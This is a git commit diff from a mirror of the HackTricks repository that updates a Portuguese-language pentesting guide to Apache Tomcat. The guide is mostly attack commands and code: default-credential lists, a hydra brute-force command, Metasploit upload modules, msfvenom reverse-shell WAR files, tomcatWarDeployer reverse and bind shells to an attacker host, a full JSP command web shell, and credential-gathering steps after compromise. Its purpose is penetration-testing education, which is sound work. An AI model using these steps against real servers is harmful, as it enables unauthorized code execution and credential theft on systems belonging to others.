mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['network-services-pentesting/pentesting-web/tomcat/README.md
This commit is contained in:
parent
2e58a7d721
commit
a66a3a3246
1 changed files with 33 additions and 61 deletions
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -25,33 +25,29 @@
|
|||
* Normalmente é executado na **porta 8080**
|
||||
* **Erro comum do Tomcat:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Enumeração
|
||||
|
||||
### **Identificação da Versão**
|
||||
|
||||
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
|
||||
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
||||
### **Localização dos Arquivos do Gerenciador**
|
||||
|
||||
Identificar as localizações exatas dos diretórios **`/manager`** e **`/host-manager`** é crucial, pois seus nomes podem ser alterados. Recomenda-se uma busca de força bruta para localizar essas páginas.
|
||||
|
||||
### **Enumeração de Nomes de Usuário**
|
||||
|
||||
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através de:
|
||||
|
||||
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
||||
### **Credenciais Padrão**
|
||||
|
||||
O diretório **`/manager/html`** é particularmente sensível, pois permite o upload e implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação básica HTTP, sendo as credenciais comuns:
|
||||
O diretório **`/manager/html`** é particularmente sensível, pois permite o upload e implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação básica HTTP, sendo comuns as seguintes credenciais:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -61,21 +57,17 @@ O diretório **`/manager/html`** é particularmente sensível, pois permite o up
|
|||
* admin:tomcat
|
||||
|
||||
Essas credenciais podem ser testadas usando:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
|
||||
Outro diretório importante é **`/manager/status`**, que exibe a versão do Tomcat e do sistema operacional, auxiliando na identificação de vulnerabilidades.
|
||||
|
||||
### **Ataque de Força Bruta**
|
||||
|
||||
Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar:
|
||||
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
||||
## Vulnerabilidades Comuns
|
||||
|
||||
### **Divulgação de Rastreamento de Senha**
|
||||
|
@ -88,31 +80,31 @@ A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com c
|
|||
|
||||
Para acessar a interface de gerenciamento da web do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
### /exemplos
|
||||
|
||||
As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetíveis a divulgação de informações e ataques de script entre sites (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e exploração potencial. Encontre [mais informações aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
* /examples/jsp/snp/snoop.jsp
|
||||
* /examples/jsp/error/error.html
|
||||
* /examples/jsp/sessions/carts.html
|
||||
* /examples/jsp/checkbox/check.html
|
||||
* /examples/jsp/colors/colors.html
|
||||
* /examples/jsp/cal/login.html
|
||||
* /examples/jsp/include/include.jsp
|
||||
* /examples/jsp/forward/forward.jsp
|
||||
* /examples/jsp/plugin/plugin.jsp
|
||||
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||||
* /examples/jsp/simpletag/foo.jsp
|
||||
* /examples/jsp/mail/sendmail.jsp
|
||||
* /examples/servlet/HelloWorldExample
|
||||
* /examples/servlet/RequestInfoExample
|
||||
* /examples/servlet/RequestHeaderExample
|
||||
* /examples/servlet/RequestParamExample
|
||||
* /examples/servlet/CookieExample
|
||||
* /examples/servlet/JndiServlet
|
||||
* /examples/servlet/SessionExample
|
||||
* /exemplos/jsp/num/numguess.jsp
|
||||
* /exemplos/jsp/dates/date.jsp
|
||||
* /exemplos/jsp/snp/snoop.jsp
|
||||
* /exemplos/jsp/error/error.html
|
||||
* /exemplos/jsp/sessions/carts.html
|
||||
* /exemplos/jsp/checkbox/check.html
|
||||
* /exemplos/jsp/colors/colors.html
|
||||
* /exemplos/jsp/cal/login.html
|
||||
* /exemplos/jsp/include/include.jsp
|
||||
* /exemplos/jsp/forward/forward.jsp
|
||||
* /exemplos/jsp/plugin/plugin.jsp
|
||||
* /exemplos/jsp/jsptoserv/jsptoservlet.jsp
|
||||
* /exemplos/jsp/simpletag/foo.jsp
|
||||
* /exemplos/jsp/mail/sendmail.jsp
|
||||
* /exemplos/servlet/HelloWorldExample
|
||||
* /exemplos/servlet/RequestInfoExample
|
||||
* /exemplos/servlet/RequestHeaderExample
|
||||
* /exemplos/servlet/RequestParamExample
|
||||
* /exemplos/servlet/CookieExample
|
||||
* /exemplos/servlet/JndiServlet
|
||||
* /exemplos/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Exploração de Traversão de Caminho**
|
||||
|
@ -129,8 +121,7 @@ Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, v
|
|||
|
||||
### Limitações
|
||||
|
||||
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definidos em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (consulte a seção [POST](./#post)).
|
||||
|
||||
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](./#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -140,9 +131,9 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
# undeploy
|
||||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
Metasploit is a powerful tool used for exploiting vulnerabilities in web applications. It provides a wide range of exploits and payloads that can be used to test the security of web servers, including Apache Tomcat. Metasploit is widely used by penetration testers and security professionals to identify and fix security issues in web applications.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -151,49 +142,37 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
|
||||
### Shell Reverso MSFVenom
|
||||
|
||||
1. Criar o arquivo war para implantar:
|
||||
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
||||
2. Faça o upload do arquivo `revshell.war` e acesse-o (`/revshell/`):
|
||||
|
||||
### Shell de ligação e reversão com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Shell de ligação e reversa com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)
|
||||
|
||||
#### Download
|
||||
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
|
||||
#### Shell reverso
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
|
||||
#### Shell de ligação
|
||||
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
||||
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
||||
### Método manual - Web shell
|
||||
|
||||
Crie **index.jsp** com este [conteúdo](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -224,34 +203,27 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
|
||||
### Método Manual 2
|
||||
|
||||
Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR:
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||||
```
|
||||
|
||||
## POST
|
||||
|
||||
O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_
|
||||
|
||||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
|
||||
Outras maneiras de obter credenciais do Tomcat:
|
||||
|
||||
### Outras maneiras de obter credenciais do Tomcat:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
|
||||
## Outras ferramentas de varredura do tomcat
|
||||
## Outras ferramentas de varredura tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
|
Loading…
Reference in a new issue